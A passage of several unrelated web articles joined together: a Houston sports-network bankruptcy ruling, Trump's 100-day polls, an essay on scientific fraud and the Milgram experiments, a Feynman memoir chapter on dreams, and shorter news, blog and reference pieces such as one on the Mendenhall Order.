with expanded carriage on DirecTV and AT&T U-verse in addition to Comcast. However, CSN Houston has posted a broadcast schedule through Nov. 9, so the new network is not likely to launch until after that period. Judge Isgur’s ruling does not mean that the case is concluded. Comcast, in fact, filed notice of appeal late Thursday night, alleging the judge erred on six grounds in his decision. The appeal likely will be assigned to U.S. District Judge Lynn Hughes. In its appeal, Comcast says Judge Isgur erred in six areas: — In confirming the reorganization plan. — In not allowing Comcast’s secured claim to be accepted for payment over time under section 1111(b) of the bankruptcy code. — In ruling that the plan met the requirements of section 1129(b) of the bankruptcy code in that it “does not discriminate unfairly, and is fair and equitable, with respect to each class of claims or interests that is impaired under, and has not accepted, the plan.” — In ruling that the plan had been approved by a valid class of creditors that will not receive full payment of claims. — In ruling that the plan did not discriminate against a class of creditors that included Comcast entities. — In holding that the plan legally exculpates or provides protection against liability for the Astros, Rockets, DirecTV, AT&T and members of the CSN Houston but not against Comcast. Judge Isgur, meanwhile, will preside over another hearing at 2 p.m. Friday as the parties continue to thrash through logistical issues involved in the transition from CSN Houston to Root Sports Houston. “Everybody can lose a lot of money if you don’t reach an agreement,” the judge said. “There’s a lot at stake.” Officials with the Rockets and Astros, who supported the reorganization plan, said they were pleased with the judge’s ruling. “On behalf of Leslie Alexander and our organization and, more than anything, our fans, we are very appreciative of Judge Isgur’s ruling and look forward to getting our games on as quickly as possible,” said Rockets CEO Tad Brown. “We want to stay focused to make sure that we get the network on the air to the entire market as quickly as possible. There are logistics involved. We’ve got to get with the Root Sports folks, but there is a clear path. We appreciate the judge for that path and it’s a great day for Rockets fans, Astros fans and sports fans in Houston.” “It’s a great day for the fans,” said Astros general counsel Giles Kibbe. “We will have broad coverage on AT&T, DirecTV and Comcast, and this will put us in position where we can continue implementing our plans with the teams. “It’s been very costly to the teams, but we’re looking forward. We have broad coverage and media rights fees that will enable us to compete. We’re not looking back. We’re looking forward. It’s been long and hard, but it’s a positive day.” A spokesman for Comcast, which opposed the reorganization plan, said, “We are disappointed with the judge’s decision and intend to file an appeal.” DirecTV and AT&T, which will acquire the network for $5,000 and will invest $50 million, had no comment. CSN Houston launched in the fall of 2012 but was never available across most Houston-area TV households. Comcast put the network into bankruptcy in September 2013 when the Astros threatened to retake their broadcast rights because the network could not pay rights fees. -President Donald Trump makes his way to board Marine One on the South Lawn of the White House in Washington, D.C, on Feb. 24. Mandel Ngan/AFP/Getty Images President Donald Trump is getting ready to mark his 100 days in office as the least popular commander in chief of the modern era at this point in their presidency. But among his supporters, 96 percent of those who voted for Trump said they would do it all over again if the election were held today, and only 2 percent say they regret supporting him, according to the latest Washington Post/ABC News poll. In contrast, 85 percent of Americans who voted for Hillary Clinton said they’d vote for her if the election were held today. That’s not because Clinton voters would support Trump, but rather because they say they’d be more willing to back a third-party candidate or not vote at all. The poll makes clear what numerous surveys have already pointed out: Trump has not enjoyed the typical 100-day honeymoon period. Overall, only 42 percent of Americans approve of Trump’s performance as president, and 53 percent disapprove. The number is worse in the latest NBC News/Wall Street Journal poll that puts Trump’s overall job-approval rating at 40 percent, 4 points lower than it was in February. That is in sharp contrast to the average 69 percent approval for past presidents at or near the 100-day mark. President Barack Obama, for example, had a 69-26 percent approval rating near his 100 days in office. More than half of Americans don’t think Trump has accomplished much in his first 100 days. Forty-five percent of Americans flat out say that Trump’s presidency is off to a poor start while 19 percent say it’s been “only a fair start.” That compares to the 35 percent who say the president’s first 100 days have been “good” or “great,” according to the NBC/WSJ poll. That doesn’t mean it’s all doom and gloom for the president. The Post/ABC poll also finds some surprisingly positive evaluations of the commander in chief’s performance on certain issues. More than half of Americans—53 percent—say Trump is a strong leader, including 25 percent of Democrats. Plus 73 percent of Americans approve of the way he has been pressuring companies to keep jobs in the country. A plurality—46 percent—also approve of the way he has been handling North Korea. The president also gets high marks for his recent military actions in Syria, which 62 percent of Americans say they support, according to the NBC/WSJ poll. Still, despite these few bright spots, the polls point to mostly bad news for the president, as 56 percent say he doesn’t have the judgment to serve effectively as president, and 58 percent doubt his honesty and trustworthiness. The public also seems to have noticed Trump’s penchant for changing his mind, with 55 percent saying he doesn’t follow a consistent set of principles. Democrats should be cautious about getting too gleeful about Trump’s numbers though, as 67 percent say the Democratic Party is out of touch with the concerns of most Americans, according to the Post/ABC survey. Both Trump and the Republican Party have better scores in that regard with 58 percent and 62 percent, respectively. *This post has been updated to include additional information from the Washington Post/ABC News poll. -The Fraud Among Us, or Within Us? It happens uncomfortably often. A successful person, who seemingly has achieved great things and earned respect and admiration, is exposed as a fraud. From Bernie Madoff to the imprisoned real estate developer who built the outsized, now foreclosed home in my neighborhood, I am reminded that people are not always what they seem. Fraud disturbs me most when it happens close to my professional home. A decade ago, a social psychologist was forced to resign her position at the University of Texas and retract four articles. Now, it has happened again. Diederik Stapel, a productive and frequently honored social psychologist and self researcher, has resigned his position at Tilburg University after admitting to fabricating data in his research. The most recent instance has been called “sad,” “shocking,” and “incomprehensible.” Cases of outright fraud in science are distressing for a lot of reasons. They damage the careers of students and collaborators, and raise doubts about nonretracted papers by the same author. Most important, they damage public trust in science and in scientists. In this case, trust in social psychologists and the work we do is undermined. Appropriately, then, SPSP has accepted Stapel’s resignation from the society, and asked him to step down from his various responsibilities. Beyond these very real consequences, I find the psychology of these cases deeply disturbing. I try to put myself in the shoes of someone exposed as a fraud, and think about what it must feel like to be them. What would it feel like to receive respect, admiration, job offers, and even honors and awards, knowing that they are based on falsehoods? Honest, authentic human connections would seem impossible, if I knew I was not the person that my peers, students, and colleagues thought I was. How isolating would that be, how lonely? How present would fear of exposure be in daily life? And how humiliating and downright frightening would it be to be exposed and lose everything—job, career, status, respect? Just thinking about it, I feel ill. It’s inexplicable to me that someone with obvious intelligence, ambition, and talent would risk everything by falsifying data. Explaining the Inexplicable Perhaps these cases seem inexplicable because we find out about them at the end, when the fraud has been exposed. By that time, bad choices leading to minor transgressions have escalated into outright career-killing fraud, likely in ways that were never intended. Bernie Madoff surely didn’t begin his Ponzi scheme planning to steal $50 billion. Social psychologists probably don’t begin down the path to scientific misconduct by inventing a study’s worth of data from whole cloth, while foreseeing that this would eventually cause their entire program of research to be doubted. These cases surely began as small missteps, smoothing over uncooperative results of one form or another. Cases of fraud are more understandable when we think about how they begin and escalate, not how they end. Stanley Milgram’s studies of obedience to authority provide insight into why people do things that are so counter to our norms and understanding of human nature that they seem either inexplicable, or the result of some form of pathology (Milgram, 1963). Usually, people interpret Milgram’s studies as revealing how obedient most of us are to authority or as evidence that the situation determines behavior. Another lesson of these experiments, however, may be more relevant to understanding cases of fraud: how easy it is to take the first small step on the slippery slope of violating our own norms and values, and how difficult it is to stop once the downward slide gains momentum (Modigliani & Rochat, 1995). In Milgram’s studies, the research subjects were placed in the role of “teacher;” they were to administer electric shock to another subject, the “learner” (actually a confederate of Milgram), each time the learner gave an incorrect answer, using a “shock generator” consisting of 30 switches, the first labeled “15 volts, slight shock,” and increasing by 15 volt increments to “420 volts, danger: severe shock, and finally, “450 volts, XXX.” The teacher was to increase the shock by 15 volts each time the learner was wrong, or did not answer. When these roles were explained, the learner revealed that he had a heart condition.1 This experiment is famous because of where it ended; of the 40 subjects in the original version of the study, 26, or 65%, administered shock up to the final switch on the shock generator, well past the point at which the “learner” complained of heart pain and then stopped responding altogether. The lesson of the study seemed to be that people would violate their own moral codes and administer potentially deadly shock to an ill victim, merely on the say-so of an authority figure. But this experiment may be more important for where it begins. All participants—100%–began by giving only a “slight shock” of 15 volts in response to the learner’s first incorrect answer. With the experimenter’s assurances that the shock might be painful but was not dangerous, what could be the harm of giving 15 volts? The harm is that once people have given 15 volts of shock, they have no compelling reason to resist giving a tiny increase of another 15 volts. After all, they have implicitly conceded that 15 volts of shock is minor. And once they have given 30 volts of shock, why not 45? Each time participants administered shock—at first just a “slight” amount, then stronger shocks–that level of shock became the new “normal.” Consciously or unconsciously, teachers justified their behavior to themselves each time they pulled the switch, and each justification made pulling the next switch easier. It is much harder to see that giving shock is wrong and that one has the power to simply stop after one has already given shocks that increased from 15 to 300 or more volts. Thus did participants slide down the slippery slope toward administering potentially fatal shock (Modigliani & Rochat, 1995).2 Imagine what would have happened if Milgram had asked the teachers to begin by administering 450 volts of shock, marked XXX, beyond “danger: severe shock,” at the first wrong answer by the learner. To my knowledge, this variation of the Milgram studies has never been conducted. I suspect that “obedience,” in this scenario, would drop dramatically, perhaps even to 0. For understanding fraud, the useful lesson of the Milgram studies is the significance of that first tiny step down the slippery slope, however “slight” a violation it may be. Each minor transgression, whether dropping an inconvenient data point or failing to give credit where it is due, creates a threat to self-image—“Am I that sort of person?” To avoid the discomfort, people rationalize and justify until their behavior feels comfortable and right, making the next transgression seem not only easier, but perhaps even morally right. To be fair, we are all flawed, nonperfect human beings. Although the well-being of our science and our society, require that fraud be punished severely, merely focusing on the perpetrator may divert our attention from the fraud within us all. Although we don’t all fabricate data or run Ponzi schemes, if we look closely at our lives, surely all of us can find places where we took that first step, and perhaps several, down one slippery slope or another. Perhaps we transgressed in some minor way–snapped at our children, or borrowed a few words from someone without attribution. Perhaps we refused a request for some service or another because we wanted to focus on advancing our own careers. Because people are human, if we look for things we’ve done that violate, even just a tiny bit, our own moral values, surely we will find them. Surely there are ways we are not who our colleagues think we are—we are less brilliant, witty, selfless, or helpful than we lead them to think. We already know what it feels like to be a fraud, be cause in little, nearly imperceptible ways, our desire to be well-regarded leads us to conceal our mistakes, weaknesses, and foibles from others. Perhaps, while enforcing the standards of our profession, we can still have compassion for those who transgress, knowing that it is in our nature as human beings to try to get others to see us in a positive light. This analysis shifts the focus from “them” to “us,” and shifts the question away from, “How could they do it?” to “Why do we start in the first place?” and “How can we stop?” Why do we start? All of these transgressions, minor or major, may have started with a little fear of our egos. Milgram’s studies do not address the issue of why his participants administered the first 15 volts of shock. 100% of participants in his first study took this first step, so the data offer no clues as to why people might draw the line and not even take the first step. Through the lens of my own research, I suspect that something in this situation triggers egoistic concerns for participants; some fear or little anxiety was triggered. It wasn’t fear of losing their $4.50 payment for participating; Milgram assured subjects that the money was theirs to keep, no matter what. Instead, it was likely some fear of what noncompliance would mean about them (I wasted my time coming here; I’m not helpful; I’m the trouble-maker; I’m the one who screwed up science), or fear of being judged negatively by the experimenter. In some small, perhaps imperceptible way, noncompliance represented a threat to subjects’ self-image or public image. In the same way, the first small step down the slippery slope of fraud probably starts out of some sort of egoistic fear or anxiety—fear of losing someone else’s admiration and respect, fear of letting others down, fear of being seen as a loser, fear of being a failure, or fear of not getting the job, the grant, or the award one covets. How can we stop? The difficult question then becomes, how can we stop the slide? Again, Milgram’s study is instructive. A meta-analysis of data from eight of Milgram’s obedience experiments showed that defiance of the experimenter was most likely at 150 volts, when the learner first requested to be released from the study (Packer, 2008). Although not conclusive, this finding suggests that, for defiant participants, at some point concern for the well-being of the learner took priority over concerns for self-image or public image that prevented defiance of the experimenter. And this might be the most important lesson. Cultivating concern for the rights and well-being of others, making it a daily practice, committing to act on it—these things may help us stop our slide down that slippery slope. In the case of the 15 volt steps toward scientific misconduct, thinking about the consequences for our students, colleagues, loved ones, our institution, our discipline, or science itself might help us stop our own little slides, when they inevitably happen. In this regard, we should all feel gratitude toward, and admiration for, those people who took the risk to stop something unacceptable when they saw it. Surely, they experienced egoistic fears—Will they believe me? What will happen to me? Will my own reputation be tarnished? But they acted for the common good in spite of those fears, and I, for one, thank them. Footnote 1. For more information about the Milgram study see: http://www.psychologicalscience.org/index.php/news/releases/50th-anniversary-of-stanley-milgrams-obedience-experiments.html) 2. I thank Marc-Andre Olivier for pointing out to me this powerful aspect of Milgram’s obedience paradigm. Reference Milgram, S. (1963). Behavioral study of obedience. Journal of Abnormal and Social Psychology, 67, 371-378. Modigliani, A., & Rochat, F. (1995). The role of interaction sequences and the timing of resistance in shaping obedience and defiance to authority. Journal of Social Issues, 51, 107-123. Packer, D. J. (2008). Identifying systematic disobedience in Milgram’s obedience experiments: A meta-analytic review. Perspectives on Psychological Science, 3, 301-304. Advertisements -A video purportedly showing three British schoolgirls moments before they were smuggled by an alleged foreign spy from Turkey into Syria - where they joined the Islamic State (Isis) terror group - has emerged. Three girls, said to be runaway London teenagers Shamima Begum, Kadiza Sultana and Amira Abase, are seen in the shaky footage as they unload their baggage from a taxi and enter another vehicle in what appears to be Turkey's southern city of Gaziantep. They are helped by two men, one of whom is filming the operations with a mobile device. The man asks the girls their names and then helps them into another vehicle, saying it will take them across the border within one hour. Speaking in English, he tells the girls not to forget anything, including their passports. "It's nice!" he is heard saying in the clip obtained by broadcaster A Haber. He then wishes them good luck, adding he will not personally accompany them to the border as he will return to Sanlıurfa a Turkish about 50km north of the Syrian city of Kobani. The smuggler was arrested earlier in March by Turkish authorities who claimed he was an intelligence officer working for an anti-IS coalition member state. In a separate video also published by A Haber, the suspect is seen living a courthouse in Turkey flanked by plain clothed security agents. "It turned out to be someone who worked in the intelligence services of a country in the coalition," Turkey Foreign Minister Mevlut Cavusoglu said announcing the arrest. The minister did not reveal the nationality of the agent but said they did not work for the US or any EU state. Turkish media claimed he was a Syrian national working for the Canadian Security Intelligence Service (CSIS), named as Mohammed al Rashid. Canadian government sources denied the man was employed by CSIS or any other federal agency. However, Reuters quoted a European security source familiar with the case as saying the suspect had ties to the CSIS. A spokesperson for Canada's Public Safety Minister, Steven Blaney, told The Toronto Star: "We are aware of these reports. We do not comment on operational matters of national security." Begum, 15, Sultana, 16, and 15-year-old Abase flew from London's Gatwick Airport to Istanbul on 17 February. CCTV images appeared to show the teenagers boarding a bus to Gaziantep, a notorious port of entrance for foreign fighters travelling to Syria. They are now believed to be living in IS's de facto capital, Raqqa. The Turkish government has been criticised by its Nato allies for allegedly not doing enough to prevent would-be-jihadists from crossing its long and porous border with Syria. In turn, Ankara claimed Western states have failed to provide it with enough intelligence on suspect travellers. Thousands of Westerners have travelled to IS-held territories via Turkey, swelling the terror group ranks over the past two years. -Aston Martin says Adrian Newey's new road car will be quicker than a Formula One car around some of the world's fastest race circuits. The new car, codenamed the AM-RB 001, is being built as part of a new collaboration between Red Bull and Aston Martin, with under 100 examples expected to reach production in late 2018. Newey has been given a clean slate to design the car and is incorporating ground-effects and a mid-engined layout to create unprecedented levels of performance in a road car. Aston Martin CEO Andy Palmer said the target is to make a car capable of lapping Silverstone quicker than an F1 car. "As we sit here today, the raison d'etre that we've given the team is to be faster than an F1 car around Silverstone - or indeed any other F1 track," Palmer said. "I am sure there are other cars that can go in straight lines quicker than this, but we don't make drag cars, we make cars you can use. That is the raison d'etre we use." Red Bull team principal Christian Horner says the potential performance of the AM-RB 001 will underline how much quicker Formula One cars could be with different regulations. "I think it showed with unrestricted aerodynamics what is possible," he said. "I think that F1 has got scope to move the lap times considerably quicker. There is a step coming for 2017, we personally would like it to go further but we seem to be a lone voice in that. But F1 should be the ultimate. "Taking unrestricted aerodynamics, this car will be seriously, seriously quick. And the initial indications we have had from it have generated more downforce than any car that we have ever produced." Concrete details of the car remain slim, with the engine, tyres and expected performance figures yet to be released. "We're not going to talk about tyre suppliers or anyone at the moment, but we are well down the line with talking to all of our suppliers," Aston Martin designer Marek Reichman said. "For anyone involved this is a very exciting programme to have your name as a supplier on this car. I don't know if you played Top Trumps when you were a kid, but this will be the Top Trump for everything." -Always Trying to Escape When I was a student at MIT I was interested only in science; I was no good at anything else. But at MIT there was a rule: You have to take some humanities courses to get more "culture." Besides the English classes required were two electives, so I looked through the list, and right away I found astronomy--as a humanities course! So that year I escaped with astronomy. Then next year I looked further down the list, past French literature and courses like that, and found philosophy. It was the closest thing to science I could find. Before I tell you what happened in philosophy, let me tell you about the English class. We had to write a number of themes. For instance, Mill had written something on liberty, and we had to criticize it. But instead of addressing myself to political liberty, as Mill did, I wrote about liberty in social occasions--the problem of having to fake and lie in order to be polite, and does this perpetual game of faking in social situations lead to the "destruction of the moral fiber of society." An interesting question, but not the one we were supposed to discuss. Another essay we had to criticize was by Huxley, "On a Piece of Chalk," in which he describes how an ordinary piece of chalk he is holding is the remains from animal bones, and the forces inside the earth lifted it up so that it became part of the White Cliffs, and then it was quarried and is now used to conve ideas through writing on the blackboard. But again, instead of criticizing the essay assigned to us, I wrote a parody called, "On a Piece of Dust," about how dust makes the colors of the sunset and precipitates the rain, and so on. I was always a faker, always trying to escape. But when we had to write a theme on Goethe's Faust, it was hopeless! The work was too long to make a parody of it or to invent something else. I was storming back and forth in the fraternity saying, "I can't do it. I'm just not gonna do it. I ain't gonna do it!" One of my fraternity brothers said, "OK, Feynman, you're not gonna do it. But the professor will think you didn't do it because you don't want to do the work. You oughta write a theme on something--same number of words--and hand it in with a note saying that you just couldn't understand the Faust, you haven't got the heart for it, and that it's impossible for you to write a theme on it." So I did that. I wrote a long theme, "On the Limitations of Reason." I had thought about scientific techniques for solving problems, and how there are certain limitations: moral values cannot be decided by scientific methods, yak, yak, yak, and so on. Then another fraternity brother offered some more advice. "Feynman," he said, "it ain't gonna work, handing in a theme that's got nothing to do with Faust. What you oughta do is work that thing you wrote into the Faust." "Ridiculous!" I said. But the other fraternity guys think it's a good idea. "All right, all right!" I say, protesting. "I'll try." So I added half a page to what 1 had already written, and said that Mephistopheles represents reason, and Faust represents the spirit, and Goethe is trying to show the limitations of reason. I stirred it up, cranked it all in, and handed in my theme. The professor had us each come in individually to discuss our theme. I went in expecting the worst. He said, "The introductory material is fine, but the Faust material is a bit too brief. Otherwise, it's very good-- B + ." I escaped again! Now to the philosophy class. The course was taught by an old bearded professor named Robinson, who always mumbled. I would go to the class, and he would mumble along, and I couldn't understand a thing. The other people in the class seemed to understand him better, but they didn't seem to pay any attention. I happened to have a small drill, about one-sixteenth-inch, and to pass the time in that class, I would twist it between my fingers and drill holes in the sole of my shoe, week after week. Finally one day at the end of the class, Professor Robinson went "wugga mugga mugga wugga wugga . . . and everybody got excited! They were all talking to each other and discussing, so I figured he'd said something interesting, thank God! I wondered what it was? I asked somebody, and they said, "We have to write a theme, and hand it in in four weeks." "A theme on what?" "On what he's been talking about all year." I was stuck. The only thing that I had heard during that entire term that I could remember was a moment when there came this upwelling, "muggawuggastreamofconsciousnessmugga wugga," and phoom!--it sank back into chaos. This "stream of consciousness" reminded me of a problem my father had given to me many years before. He said, "Suppose some Martians were to come down to earth, and Martians never slept, but instead were perpetually active. Suppose they didn't have this crazy phenomenon that we have, called sleep. So they ask you the question: 'How does it feel to go to sleep? What happens when you go to sleep? Do your thoughts suddenly stop, or do they move less aanndd lleeessss rraaaaapppppiidddddllllllllyyyyyyyyyyy yyy? How does the mind actually turn off?" I got interested. Now I had to answer this question: How does the stream of consciousness end, when you go to sleep? So every afternoon for the next four weeks I would work on my theme, I would pull down the shades in my room, turn off the lights, and go to sleep. And I'd watch what happened, when I went to sleep. Then at night, I'd go to sleep again, so I had two times each day when I could make observations--it was very good! At first I noticed a lot of subsidiary things that had little to do with falling asleep. I noticed, for instance, that I did a lot of thinking by speaking to myself internally. I could also imagine things visually. Then, when I was getting tired, I noticed that I could think of two things at once. I discovered this when I was talking internally to myself about something, and while I was doing this, I was idly imagining two ropes connected to the end of my bed, going through some pulleys, and winding around a turning cylinder, slowly lifting the bed. I wasn't aware that I was imagining these ropes until I began to worry that one rope would catch on the other rope, and they wouldn't wind up smoothly. But I said, internally, "Oh, the tension will take care of that," and this interrupted the first thought I was having, and made me aware that I was thinking of two things at once. I also noticed that as you go to sleep the ideas continue, but they become less and less logically interconnected. You don't notice that they're not logically connected until you ask yourself, "What made me think of that?" and you try to work your way back, and often you can't remember what the hell did make you think of that! So you get every illusion of logical connection, but the actual fact is that the thoughts become more and more cockeyed until they're completely disjointed, and beyond that, you fall asleep. After four weeks of sleeping all the time, I wrote my theme, and explained the observations I had made. At the end of the theme I pointed out that all of these observations were made while I was watching myself fall asleep, and I don't really know what it's like to fall asleep when I'm not watching myself. I concluded the theme with a little verse I made up, which pointed out this problem of introspection: I wonder why. I wonder why. I wonder why I wonder. I wonder why I wonder why I wonder why I wonder! We hand in our themes, and the next time our class meets, the professor reads one of them: "Mum bum wugga mum bum . . ." I can't tell what the guy wrote. He reads another theme: "Mugga wugga mum bum wugga wugga. . ." I don't know what that guy wrote either, but at the end of it, he goes: Uh wugga wuh. Uh wugga wuh Uh wugga wugga wugga. I wugga wuh uh wugga wuh Uh wugga wugga wugga. "Aha!" I say. "That's my theme!" I honestly didn't recognize it until the end. After I had written the theme I continued to be curious, and I kept practicing this watching myself as I went to sleep. One night, while I was having a dream, I realized I was observing myself in the dream. I had gotten all the way down into the sleep itself! In the first part of the dream I'm on top of a train and we're approaching a tunnel. I get scared, pull myself down, and we go into the tunnel--whoosh! I say to myself, "So you can get the feeling of fear, and you can hear the sound change when you go into the tunnel." I also noticed that I could see colors. Some people had said that you dream in black and white, but no, I was dreaming in color. By this time I was inside one of the train cars, and I can feel the train lurching about. I say to myself, "So you can get kinesthetic feelings in a dream." I walk with some difficulty down to the end of the car, and I see a big window, like a store window. Behind it there are-not mannequins, but three live girls in bathing suits, and they look pretty good! I continue walking into the next car, hanging onto the straps overhead as I go, when I say to myself, "Hey! It would be interesting to get excited--sexually--so I think I'll go back into the other car." I discovered that I could turn around, and walk back through the train--I could control the direction of my dream. I get back to the car with the special window, and I see three old guys playing violins--but they turned back into girls! So I could modify the direction of my dream, but not perfectly. Well, I began to get excited, intellectually as well as sexually, saying things like, "Wow! It's working!" and I woke up. I made some other observations while dreaming. Apart from always asking myself, "Am I really dreaming in color?" I wondered, "How accurately do you see something?" The next time I had a dream, there was a girl lying in tall grass, and she had red hair. I tried to see if I could see each hair. You know how there's a little area of color just where the sun is reflecting--the diffraction effect, I could see that! I could see each hair as sharp as you want: perfect vision! Another time I had a dream in which a thumbtack was stuck in a doorframe. I see the tack, run my fingers down the doorframe, and I feel the tack. So the "seeing department" and the "feeling department" of the brain seem to be connected. Then I say to myself, Could it be that they don't have to be connected? I look at the doorframe again, and there's no thumbtack. I run my finger down the doorframe, and I feel the tack! Another time I'm dreaming and I hear "knock-knock; knock-knock." Something was happening in the dream that made this knocking fit, but not perfectly--it seemed sort of foreign. I thought: "Absolutely guaranteed that this knocking is coming from outside my dream, and I've invented this part of the dream to fit with it. I've got to wake up and find out what the hell it is." The knocking is still going, I wake up, and . . . Dead silence. There was nothing. So it wasn't connected to the outside. Other people have told me that they have incorporated external noises into their dreams, but when I had this experience, carefully "watching from below," and sure the noise was coming from outside the dream, it wasn't. During the time of making observations in my dreams, the process of waking up was a rather fearful one. As you're beginning to wake up there's a moment when you feel rigid and tied down, or underneath many layers of cotton batting. It's hard to explain, but there's a moment when you get the feeling you can't get out; you're not sure you can wake up. So I would have to tell myself--after I was awake--that that's ridiculous. There's no disease I know of where a person falls asleep naturally and can't wake up. You can always wake up. And after talking to myself many times like that, I became less and less afraid, and in fact I found the process of waking up rather thrilling--something like a roller coaster: After a while you're not so scared, and you begin to enjoy it a little bit. You might like to know how this process of observing my dreams stopped (which it has for the most part; it's happened just a few times since). I'm dreaming one night as usual, making observations, and I see on the wall in front of me a pennant. I answer for the twenty-fifth time, "Yes, I'm dreaming in color," and then I realize that I've been sleeping with the back of my head against a brass rod. I put my hand behind my head and I feel that the back of my head is soft. I think, "Aha! That's why I've been able to make all these observations in my dreams: the brass rod has disturbed my visual cortex. All I have to do is sleep with a brass rod under my head, and I can make these observations any time I want. So I think I'll stop making observations on this one, and go into deeper sleep." When I woke up later, there was no brass rod, nor was the back of my head soft. Somehow I had become tired of making these observations, and my brain had invented some false reasons as to why I shouldn't do it any more. As a result of these observations I began to get a little theory. One of the reasons that I liked to look at dreams was that I was curious as to how you can see an image, of a person, for example, when your eyes are closed, and nothing's coming in. You say it might be random, irregular nerve discharges, but you can't get the nerves to discharge in exactly the same delicate patterns when you are sleeping as when you are awake, looking at something. Well then, how could I "see" in color, and in better detail, when I was asleep? I decided there must be an "interpretation department." When you are actually looking at something--a man, a lamp, or a wall--you don't just see blotches of color. Something tells you what it is; it has to be interpreted. When you're dreaming, this interpretation department is still operating, but it's all slopped up. It's telling you that you're seeing a human hair in the greatest detail, when it isn't true. It's interpreting the random junk entering the brain as a clear image. One other thing about dreams. I had a friend named Deutsch, whose wife was from a family of psychoanalysts in Vienna. One evening, during a long discussion about dreams, he told me that dreams have significance: there are symbols in dreams that can be interpreted psychoanalytically. I didn't believe most of this stuff, but that night I had an interesting dream: We're playing a game on a billiard table with three balls--a white ball, a green ball, and a gray ball--and the name of the game is "titsies." There was something about trying to get the balls into the pocket: the white ball and the green ball are easy to sink into the pocket, but the gray one, I can't get to it. I wake up, and the dream is very easy to interpret: the name of the game gives it away, of course-them's girls! The white ball was easy to figure out, because I was going out, sneakily, with a married woman who worked at the time as a cashier in a cafeteria and wore a white uniform. The green one was also easy, because I had gone out about two nights before to a drive-in movie with a girl in a green dress. But the gray one-what the hell was the gray one? I knew it had to be somebody; I felt it. It's like when you're trying to remember a name, and it's on the tip of your tongue, hut you can't get it. It took me half a day before I remembered that I had said goodbye to a girl I liked very much, who had gone to Italy about two or three months before. She was a very nice girl, and I had decided that when she came back I was going to see her again. I don't know if she wore a gray suit, but it was perfectly clear, as soon as I thought of her, that she was the gray one. I went back to my friend Deutsch, and I told him he must be right--there is something to analyzing dreams. But when he heard about my interesting dream, he said, "No, that one was too perfect--too cut and dried. Usually you have to do a bit more analysis." -The video will start in 8 Cancel Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Hundreds of tourists were evacuated from the Eiffel Tower tonight - as armed police and soldiers searched tourists in central Paris. The whole area around the popular tourist attraction was cordoned off and the popular tourist hotspot placed on lockdown. At 9pm tonight the situation was declared a "false alarm" and the vicinity began to return to normal. Initially there was confusion and the reason for the evacuation was not immediately clear - with unconfirmed reports of a "suspicious package" having been found. Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now French outlet BFMTV reported that security services spotted an abandoned piece of luggage. Eyewitnesses described a large police presence at the scene - with many cops spotted carrying assault rifles. Visitors were warned away from the site of France's most popular landmark - with Twitter users reporting the military had been deployed "all over" the place. Police allowed people into the ground floor restaurant - but nobody else was allowed to venture any further - according to one report. People were reported to be acting calmly - with "no state of panic" - and responding well to the show of force. The French nation is on a knife-edge after suffering a number of Islamic State terrorist attacks in the last 18 months - including the attacks in Paris last November, the attack in Nice last month and the murder of a French priest in Normandy last week. According to BMFTV the evacuation was undertaken as a precautionary measure in the wake of these attacks. -Sometimes it happens on rough days that a glimmer peaks through. I received a handwritten letter via snail mail (address on sidebar) from a young Jesuit… I know, I know…. Here is some of it: Thank you for your vocation, your bold witness to the truth and beauty of the Church’s teaching, and your blog. I’ve been in [JESUIT SCHOOL] for my theological studies for the past three years and found your blog encouraging and grounding to say the least. Please pray for me and the twelve other men being ordained with me. For the greater part we are a solid JPII/Benedict group and I have a lot of hope for the good things we might do to do right by our Founder’s great vision. That’s what I’m talking about! There are a lot of younger Jesuits who want the real deal. They need support. Papa Ganganelli! Pray for them! Dear readers, pray for them. -The Mendenhall Order marked a decision to change the fundamental standards of length and mass of the United States from the customary standards based on those of England to metric standards (Mendenhall 1922). It was issued on April 5, 1893, by Thomas Corwin Mendenhall, superintendent of the U.S. Coast and Geodetic Survey, with the approval of the United States Secretary of the Treasury, John Griffin Carlisle. The order was issued as the Survey's Bulletin No. 26 - Fundamental Standards of Length and Mass. Standards before the order [ edit ] In October 1834, the United Kingdom Houses of Parliament were destroyed in a fire, and the British standards of length and mass were also destroyed. "When the new imperial standards to replace them were completed in 1855, two copies of the yard and one copy of the avoirdupois pound were presented to the United States" (Barbrow & Judson 1976, 9). These were superior to the yard then in use, so one of them was adopted as the United States national standard yard. These yards were taken to England and re-compared with the imperial yard in 1876 and 1888. The pound provided by the United Kingdom agreed with the United States mint pound, which remained the national standard according to Barbrow and Judson. Hockert (2015) claims the UK pound replaced the mint pound. These were the fundamental standards for customary length and mass measurements in the United States, but the Office of Weights and Measures had other standards for metric measurements. Official recognition of the metric system [ edit ] The Metric Act of 1866 was passed by Congress and allowed, but did not require, the use of the metric system. Included in the law was a table of conversion factors between the traditional and metric units. The U.S. Coast and Geodetic Survey Office of Weights and Measures had on hand a number of metric standards, and selected the iron “Committee Meter” and the platinum "Arago Kilogram" to be the national standards for metric measurement; the standard yard and pound previously mentioned continued to be the standards for customary measurements. (Barbrow & Judson 1976, 10). A series of conferences in France between 1870 and 1875 led to the signing of the Metre Convention and to the permanent establishment of the International Bureau of Weights and Measures, abbreviated BIPM after the French name. The BIPM made meter and kilogram standards for all the countries that signed the treaty; the two meters and two kilograms allocated to the United States arrived in 1890, and were adopted as national standards (Barbrow & Judson 1976, 16). Reasons for the change [ edit ] The imperial standard yard of 1855 was found to be unstable and shortening by measurable amounts (Barbrow & Judson 1976, 16). Also, the mint pound was found to be “likewise unfit for use.” For several years before the Mendenhall order was actually issued, the Office of Weights and Measures was “practically forced” to use the metric standards because of their superior stability, and because they were better designed for carrying out precision comparisons. The Office found that the conversion tables in the 1866 law were satisfactory and used them to derive customary length and mass from the metric standards. The conversions were 1 yard = ​3600⁄ 3937 meter and 1 pound = 0.4535924277 kilogram. The Mendenhall order amounted to a formal announcement of a change that had already occurred (Mendenhall 1922). Refinement of the conversions [ edit ] The definitions of 1893 remained unchanged for 66 years, but increasing precision in measurements gradually made the differences in the standards in use in English-speaking countries important. By the international yard and pound agreement of July 1, 1959, Australia, Canada, New Zealand, South Africa, the United Kingdom, and the United States agreed that 1 yard = 0.9144 meter and that 1 avoirdupois pound = 0.45359237 kilogram (but see U.S. survey foot in the foot) (Barbrow & Judson 1976, 20). Standards versus systems [ edit ] Mendenhall ordered that the standards used for the most accurate length and mass comparison change from certain yard and pound objects to certain meter and kilogram objects, but did not require anyone outside of the Office of Weights and Measures to change from the customary units to the metric system. See also [ edit ] -South Carolina General 